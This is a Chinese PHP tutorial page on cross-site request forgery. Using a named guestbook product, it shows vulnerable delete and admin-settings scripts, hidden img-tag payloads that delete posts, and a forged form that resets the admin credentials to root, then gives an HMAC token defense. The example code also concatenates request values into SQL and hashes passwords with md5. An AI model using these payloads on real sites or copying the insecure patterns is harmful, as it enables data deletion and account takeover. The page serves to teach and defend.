php漏洞之跨网站请求伪造与防止伪造方法


Posted in PHP onAugust 15, 2013

伪造跨站请求介绍
伪造跨站请求比较难以防范,而且危害巨大,攻击者可以通过这种方式恶作剧,发spam信息,删除数据等等。这种攻击常见的表现形式有:

伪造链接,引诱用户点击,或是让用户在不知情的情况下访问

伪造表单,引诱用户提交。表单可以是隐藏的,用图片或链接的形式伪装。

比较常见而且也很廉价的防范手段是在所有可能涉及用户写操作的表单中加入一个随机且变换频繁的字符串,然后在处理表单的时候对这个字符串进行检查。这个随机字符串如果和当前用户身份相关联的话,那么攻击者伪造请求会比较麻烦。
如果攻击者以隐藏的方式发送给目标用户链接
<img src="/buy.php?item=watch&num=1000"/>,那么如果目标用户不小心访问以后,购买的数量就成了1000个
实例
随缘网络PHP留言板V1.0

任意删除留言
//delbook.php 此页面用于删除留言
<?php
include_once("dlyz.php");    //dlyz.php用户验证权限,当权限是admin的时候方可删除留言
include_once("../conn.php");
$del=$_GET["del"];
$id=$_GET["id"];
if ($del=="data")
{
$ID_Dele= implode(",",$_POST['adid']);
$sql="delete from book where id in (".$ID_Dele.")";
mysql_query($sql);
}
else
{
$sql="delete from book where id=".$id; //传递要删除的留言ID
mysql_query($sql);
}
mysql_close($conn);
echo "<script language='javascript'>"; 
echo "alert('删除成功!');";
echo " location='book.php';"; 
echo "</script>";
?>

当我们具有admin权限,提交http://localhost/manage/delbook.php?id=2 时,就会删除id为2的留言
利用方法:
我们使用普通用户留言(源代码方式),内容为
<img src="delbook.php?id=2" />
<img src="delbook.php?id=3" />
<img src="delbook.php?id=4" />
<img src="delbook.php?id=5" />

插入4张图片链接分别删除4个id留言,然后我们返回首页浏览看,没有什么变化。。图片显示不了
现在我们再用管理员账号登陆后,来刷新首页,会发现留言就剩一条,其他在图片链接中指定的ID号的留言,全部都被删除。
攻击者在留言中插入隐藏的图片链接,此链接具有删除留言的作用,而攻击者自己访问这些图片链接的时候,是不具有权限的,所以看不到任何效果,但是当管理员登陆后,查看此留言,就会执行隐藏的链接,而他的权限又是足够大的,从而这些留言就被删除了
修改管理员密码
//pass.php
if($_GET["act"])
{
$username=$_POST["username"];
$sh=$_POST["sh"];
$gg=$_POST["gg"];
$title=$_POST["title"];
$copyright=$_POST["copyright"]."<br/>网站:<a href=https://3water.com>三水点靠木</a>";
$password=md5($_POST["password"]);
if(empty($_POST["password"]))
{
$sql="update gly set username='".$username."',sh=".$sh.",gg='".$gg."',title='".$title."',copyright='".$copyright."' where id=1";
}
else
{
$sql="update gly set username='".$username."',password='".$password."',sh=".$sh.",gg='".$gg."',title='".$title."',copyright='".$copyright."' where id=1";
}
mysql_query($sql);
mysql_close($conn);
echo "<script language='javascript'>"; 
echo "alert('修改成功!');";
echo " location='pass.php';"; 
echo "</script>";
}
这个文件用于修改管理密码和网站设置的一些信息,我们可以直接构造如下表单:
<body>
<form action="http://localhost/manage/pass.php?act=xg" method="post" name="form1" id="form1">
<input type="radio" value="1"  name="sh">
<input type="radio" name="sh" checked value="0"> 
<input type="text" name="username" value="root">
<input type="password" name="password" value="root"> 
<input type="text"  name="title"  value="随缘网络PHP留言板V1.0(带审核功能)" >
<textarea  name="gg"  rows="6" cols="80" >欢迎您安装使用随缘网络PHP留言板V1.0(带审核功能)!</textarea>
<textarea  name="copyright"  rows="6" cols="80" >随缘网络PHP留言本V1.0  版权所有:厦门随缘网络科技 2005-2009<br/>承接网站建设及系统定制 提供优惠主机域名</textarea>
</form>
</body>

存为attack.html,放到自己网站上https://3water.com此页面访问后会自动向目标程序的pass.php提交参数,用户名修改为root,密码修改为root,然后我们去留言板发一条留言,隐藏这个链接,管理访问以后,他的用户名和密码全部修改成了root
防止伪造跨站请求
yahoo对付伪造跨站请求的办法是在表单里加入一个叫.crumb的随机串;而facebook也有类似的解决办法,它的表单里常常会有post_form_id和fb_dtsg。
随机串代码实现
咱们按照这个思路,山寨一个crumb的实现,代码如下:
<?php 
class Crumb { 
CONST SALT = "your-secret-salt"; 
static $ttl = 7200; 
static public function challenge($data) { 
return hash_hmac('md5', $data, self::SALT); 
} 
static public function issueCrumb($uid, $action = -1) { 
$i = ceil(time() / self::$ttl); 
return substr(self::challenge($i . $action . $uid), -12, 10); 
} 
static public function verifyCrumb($uid, $crumb, $action = -1) { 
$i = ceil(time() / self::$ttl); 
if(substr(self::challenge($i . $action . $uid), -12, 10) == $crumb || 
substr(self::challenge(($i - 1) . $action . $uid), -12, 10) == $crumb) 
return true; 
return false; 
} 
}

代码中的$uid表示用户唯一标识,而$ttl表示这个随机串的有效时间。

应用示例

构造表单

在表单中插入一个隐藏的随机串crumb

<form method="post" action="demo.php"> 
<input type="hidden" name="crumb" value="<?php echo Crumb::issueCrumb($uid)?>"> 
<input type="text" name="content"> 
<input type="submit"> 
</form>

处理表单 demo.php

对crumb进行检查

<?php 
if(Crumb::verifyCrumb($uid, $_POST['crumb'])) { 
//按照正常流程处理表单 
} else { 
//crumb校验失败,错误提示流程 
} 
?>
PHP 相关文章推荐
对squid中refresh_pattern的一些理解和建议
Apr 17 PHP
php数据库密码的找回的步骤
Jan 12 PHP
Parse正式发布开源PHP SDK
Aug 11 PHP
php调用新浪短链接API的方法
Nov 08 PHP
PHP传值到不同页面的三种常见方式及php和html之间传值问题
Nov 19 PHP
php把时间戳转换成多少时间之前函数的实例
Nov 16 PHP
解析PHP之提取多维数组指定列的方法
Jan 03 PHP
php上传excel表格并获取数据
Apr 27 PHP
Yii框架扩展CGridView增加导出CSV功能的方法
May 24 PHP
php+mysql开发的最简单在线题库(在线做题系统)完整案例
Mar 30 PHP
Laravel框架控制器的request与response用法示例
Sep 30 PHP
关于PhpStorm设置点击编辑文件自动定位源文件的实现方式
Dec 30 PHP
PHP Global定义全局变量使用说明
Aug 15 #PHP
php生成图形验证码几种方法小结
Aug 15 #PHP
PHP中将ip地址转成十进制数的两种实用方法
Aug 15 #PHP
PHP怎么实现网站保存快捷方式方便用户随时浏览
Aug 15 #PHP
php正则取img标记中任意属性(正则替换去掉或改变图片img标记中的任意属性)
Aug 13 #PHP
php使用sql数据库 获取字段问题介绍
Aug 12 #PHP
完美解决PHP中的Cannot modify header information 问题
Aug 12 #PHP
You might like
php中time()和mktime()方法的区别
2013/09/28 PHP
限制ckeditor上传图片文件大小的方法
2013/11/15 PHP
php 静态属性和静态方法区别详解
2017/04/09 PHP
php实现的三个常用加密解密功能函数示例
2017/11/06 PHP
PHP简单实现防止SQL注入的方法
2018/03/13 PHP
PHP+Ajax实现的博客文章添加类别功能示例
2018/03/29 PHP
PHP后台备份MySQL数据库的源码实例
2019/03/18 PHP
Javascript在IE下设置innerHTML时出现未知的运行时错误的解决方法
2011/01/12 Javascript
jQuery如何防止这种冒泡事件发生
2015/02/27 Javascript
网页爬虫之cookie自动获取及过期自动更新的实现方法
2018/03/06 Javascript
解决element-ui中下拉菜单子选项click事件不触发的问题
2018/08/22 Javascript
如何在vue里面优雅的解决跨域(路由冲突问题)
2019/01/20 Javascript
webpack 动态批量加载文件的实现方法
2020/03/19 Javascript
jQuery 淡入/淡出效果函数用法分析
2020/05/19 jQuery
[00:35]DOTA2上海特级锦标赛 Newbee战队宣传片
2016/03/03 DOTA
跟老齐学Python之玩转字符串(1)
2014/09/14 Python
Python数据结构之Array用法实例
2014/10/09 Python
Python中Django框架下的staticfiles使用简介
2015/05/30 Python
浅谈Python黑帽子取代netcat
2018/02/10 Python
解决pandas无法在pycharm中使用plot()方法显示图像的问题
2018/05/24 Python
Python使用win32com模块实现数据库表结构自动生成word表格的方法
2018/07/17 Python
用Python编写一个简单的CS架构后门的方法
2018/11/20 Python
python lxml中etree的简单应用
2019/05/10 Python
python调用摄像头拍摄数据集
2019/06/01 Python
Python的in,is和id函数代码实例
2020/04/18 Python
什么是Python中的顺序表
2020/06/02 Python
使用Keras预训练好的模型进行目标类别预测详解
2020/06/27 Python
Solaris操作系统的线程机制
2015/07/28 面试题
电大自我鉴定范文
2013/10/01 职场文书
村长党的群众路线教育实践活动个人对照检查材料
2014/09/23 职场文书
超市督导岗位职责
2015/04/10 职场文书
2015年安全员工作总结范文
2015/04/22 职场文书
从严治党主题教育活动总结
2015/05/07 职场文书
2019个人工作总结
2019/06/21 职场文书
python代码实现扫码关注公众号登录的实战
2021/11/01 Python
Python基础 括号()[]{}的详解
2021/11/07 Python